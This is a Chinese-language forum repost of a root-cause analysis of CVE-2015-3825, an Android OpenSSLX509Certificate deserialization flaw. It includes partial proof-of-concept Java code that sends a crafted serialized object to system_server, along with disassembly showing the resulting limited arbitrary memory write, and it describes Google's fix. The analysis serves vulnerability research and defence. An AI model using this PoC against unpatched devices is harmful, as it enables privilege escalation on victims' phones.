阅读:3821回复:0
OpenSSLX509Certificate反序列化漏洞(CVE-2015-3825)成因分析
没羽@阿里移动安全
◆0 序 序列化 (Serialization),是将对象的状态信息转换为可以存储或传输的形式的过程。在序列化期间,对象将其当前状态写入到临时或持久性存储区。使用者可以通过从存储区中读取或反序列化对象的状态,重新创建该对象。 Android也有许多场景使用序列化进行数据传递,如App间/内的对象传递、Binder通信的数据传递等等,一般涉及跨进程、跨权限。序列化/反序列也是程序/接口的一个输入,存储区的内容或序列是可被随机填充,如果使用时验证不完整,也会导致安全漏洞。在Android系统中,可通过序列化/反序列化漏洞实现App拒绝服务、提升权限等攻击。 ◆1 漏洞成因 这个Android序列化漏洞(CVE-2015-3825),影响Android4.3及Android5.1版本,也就是Jelly Bean、KitKat、棒棒糖和Android M预览版1,波及55%的Android设备。可在受影响的设备上提权到system权限,也就意味着攻击者可以通过替换目标应用的apk接管受害者手机上的任意应用。这个漏洞是由的IBM安全团队Or Peles和Roee Hay在USENIX 2015大会上的议题《ONE CLASS TO RULE THEM ALL 0-DAY DESERIALIZATION VULNERABILITIES IN ANDROID》【1】。 2.1 PoC构造 Paper作者没放出Exploit也没放出PoC,根据这篇paper我们可以知道,漏洞出在OpenSSLX509Certificate(全包名路径为com.android.org.conscrypt.OpenSSLX509Certificate)类,OpenSSLX509Certificate类满足: 1)OpenSSLX509Certificate是可序列化的,因为他继承自可序列化的Certificate类; 2)它有一个finalize()方法,并且有调用native的方法(libjavascrypto.so中),参数field mContext,long型(实际为指针类型); 3)OpenSSLX509Certificate也没有实现特定的反序列化方法(readObject和readResolve); 其中mContext就是要找的可被攻击控制的指针。 我对CVE-2014-7911的POC进行了改造,首先定义类com.android.org.conscrypt.ApenSSLX509Certificate,如下: #!java public class ApenSSLX509Certificate implements Serializable { //private static final long serialVersionUID = -5454153458060784251L;//android4.4.2 emulator private static final long serialVersionUID = -8550350185014308538L;//android 5.1.1 emulator public final long mContext; ApenSSLX509Certificate(long ctx) { mContext = ctx; } } 注意包名为com.android.org.conscrypt,然后在同包名下创建一个MainActivity.java,对ApenSSLX509Certificate进行调用: #!java com.android.org.conscrypt.ApenSSLX509Certificate evilProxy = new com.android.org.conscrypt.ApenSSLX509Certificate(0x7f7f7f7f7f7f7f7fL); b.putSerializable("eatthis", evilProxy); 和CVE-2014-7911 PoC一样,向“android.os.IUserManager”的service发送请求前,修改类名: #!java int l = data.length; for (int i=0; i>> system_server asn1_cb存入R9中:</p> .text:00056442 loc_56442 ; CODE XREF: sub_56420+16j .text:00056442 CMP R0, #0 .text:00056444 ITT NE .text:00056446 LDRNE.W R9, [R0,#0x10] ; R9: asn1_cb = aux->asn1_cb; .text:0005644A CMPNE.W R9, #0 .text:0005644E BNE loc_56454 ; switch(it->itype) .text:00056450 MOV.W R9, #0 继续,接下来调用asn1_do_lock函数: .text:00056466 MOV R0, R10 ; jumptable 0005645A cases 1,6 .text:00056468 MOV.W R1, #0xFFFFFFFF ; 传入-1 .text:0005646C MOV R2, R5 ; it .text:0005646E BLX j_asn1_do_lock ; int asn1_do_lock(ASN1_VALUE **pval, int op, const ASN1_ITEM *it) .text:0005646E ; 走到这了,crash在这个函数 .text:00056472 CMP R0, #0 .text:00056474 BGT def_5645A ; jumptable 0005645A default case 此时整理asn1_do_lock函数调用时参数:R0是上面R10存储的&mContext,R1为-1,R2为上面R5存储的it。下面进入asn1_do_lock函数继续分析,取出it->funcs放入R2: .text:00057984 LDR R2, [R2,#0x10] ; aux = it->funcs; .text:00057986 CMP R2, #0 再取it->funcs即aux的ref_offset放入R3中,然后计算(char*)mContext+aux->ref_offset的存入R12: .text:00057992 LDR R3, [R2,#8] ; aux->ref_offset .text:00057994 CMP R1, #0 .text:00057996 LDR R0, [R0] ; R0 = &mContext .text:00057998 ADD.W R12, R0, R3 ; lck = offset2ptr(*pval, aux->ref_offset); .text:0005799C BEQ loc_579B6 接下来是调用CRYPTO_add_lock函数: .text:000579A2 MOVS R0, #0x75 .text:000579A4 LDR R3, =(aExternalOpe_43 - 0xFA1D8) .text:000579A6 ADD LR, PC ; _GLOBAL_OFFSET_TABLE_ .text:000579A8 LDR R2, [R2,#0xC] ; aux->ref_lock .text:000579AA ADD R3, LR ; "external/openssl/crypto/asn1/tasn_utl.c" .text:000579AC STR R0, [SP,#0x10+var_10] ; line: 0x75 -> 117 .text:000579AE MOV R0, R12 .text:000579B0 BLX j_CRYPTO_add_lock ; int CRYPTO_add_lock(int *pointer, int amount, int type, const char *file, int line) 进一步分析CRYPTO_add_lock函数,读取R7地址的内容再加R1(R1=-1,这里也就是减1操作),然后再存入R1地址中: .text:000729E0 ; int CRYPTO_add_lock(int *pointer, int amount, int type, const char *file, int line) .text:000729E0 EXPORT CRYPTO_add_lock .text:000729E0 CRYPTO_add_lock ; CODE XREF: j_CRYPTO_add_lock+8j .text:000729E4 MOV R7, R0 ; R7 = (char*)mContext+aux->ref_offset ... ... .text:000729E8 MOV R6, R1 ; R1 = -1 … … .text:00072A1C LDR R0, [R7] ; [b]Crash在这,此时R7为0x7F7F7F8F[/b] .text:00072A24 ADD R6, R0 … … .text:00072A28 STR R6, [R7] ; 如果R7指向的内存为写的,这里可以实现任意写 调试时aux->ref_offset的值为0x10,参考x509_st结构,我们猜测(char*)mContext+0x10为mContext-> references,用记录对象引用次数,管理内存的引用。再看源码tasn_fre.c (external/openssl/crypto/asn1/)【4]的asn1_item_combine_free方法: case ASN1_ITYPE_SEQUENCE: if (asn1_do_lock(pval, -1, it) > 0) return; if (asn1_cb) { i = asn1_cb(ASN1_OP_FREE_PRE, pval, it, NULL); if (i == 2) return; } 当asn1_do_lock返回为0,即mContext-> references为0时,才调用asn1_cb函数释放资源。 继续CRYPTO_add_lock的反汇编代码分析,由于我们在Java层传入的是一个非法地址0x7f7f7f7f,所以导到内存写异常。 Google的修复方法【2】是给mContext成员添加transient修饰符,使其不被序列化。 ◆3 总结 在对象序列化时,指针成员的序列化较易存在安全风险,如CVE-2014-7911中的mOrgue,CVE-2015-3825中的mContext。本漏洞(CVE-2015-3825)中由于mContext是可序列化的,而它指向的又是X509结构的指针,当传入的序列化对象在反序列化产生异常时,系统调用GC回收资源,即mContext->references减1,这里mContext是可控制的,便可导致有限制的内存任意写(多次减1)漏洞。 ◆4 参考 【1】 https://www.usenix.org/system/files/conference/woot15/woot15-paper-peles.pdf 【2】 https://android.googlesource.com/platform/external/conscrypt/+/edf7055461e2d7fa18de5196dca80896a56e3540 【3】 https://github.com/Purity-Lollipop/platform_external_conscrypt/commit/edf7055461e2d7fa18de5196dca80896a56e3540 【4】 https://android.googlesource.com/platform/external/openssl/+/android-5.1.1_r13/crypto/asn1/tasn_fre.c ◆5 附录 5.1 如何找到那个叫X509_free的函数 在OpenSSL代码中怎么搜X509_free也搜索不到真正的代码实现,这是因为OpenSSL中用了一堆宏、宏嵌套定义部分函数、结构,X509_free就在其中一个。细细看代码才发现X509_free是在crypto/asn1/x_x509.c文件中由IMPLEMENT_ASN1_FUNCTIONS定义的: IMPLEMENT_ASN1_FUNCTIONS(X509) 顺藤摸瓜找出下面几个嵌套的宏: # define IMPLEMENT_ASN1_FUNCTIONS_fname(stname, itname, fname) IMPLEMENT_ASN1_ENCODE_FUNCTIONS_fname(stname, itname, fname) IMPLEMENT_ASN1_ALLOC_FUNCTIONS_fname(stname, itname, fname) # define IMPLEMENT_ASN1_ALLOC_FUNCTIONS_fname(stname, itname, fname) stname *fname##_new(void) { return (stname *)ASN1_item_new(ASN1_ITEM_rptr(itname)); } void fname##_free(stname *a) { ASN1_item_free((ASN1_VALUE *)a, ASN1_ITEM_rptr(itname)); } #define ASN1_ITEM_rptr(ref) (&(ref##_it)) 映射到X509的定义,可以翻译如下: X509 * X509_new(void) { return (X509 *)ASN1_item_new(&X509_it); } void X509_free(X509 *a) { ASN1_item_free((ASN1_VALUE *)a, &X509_it)); } |
|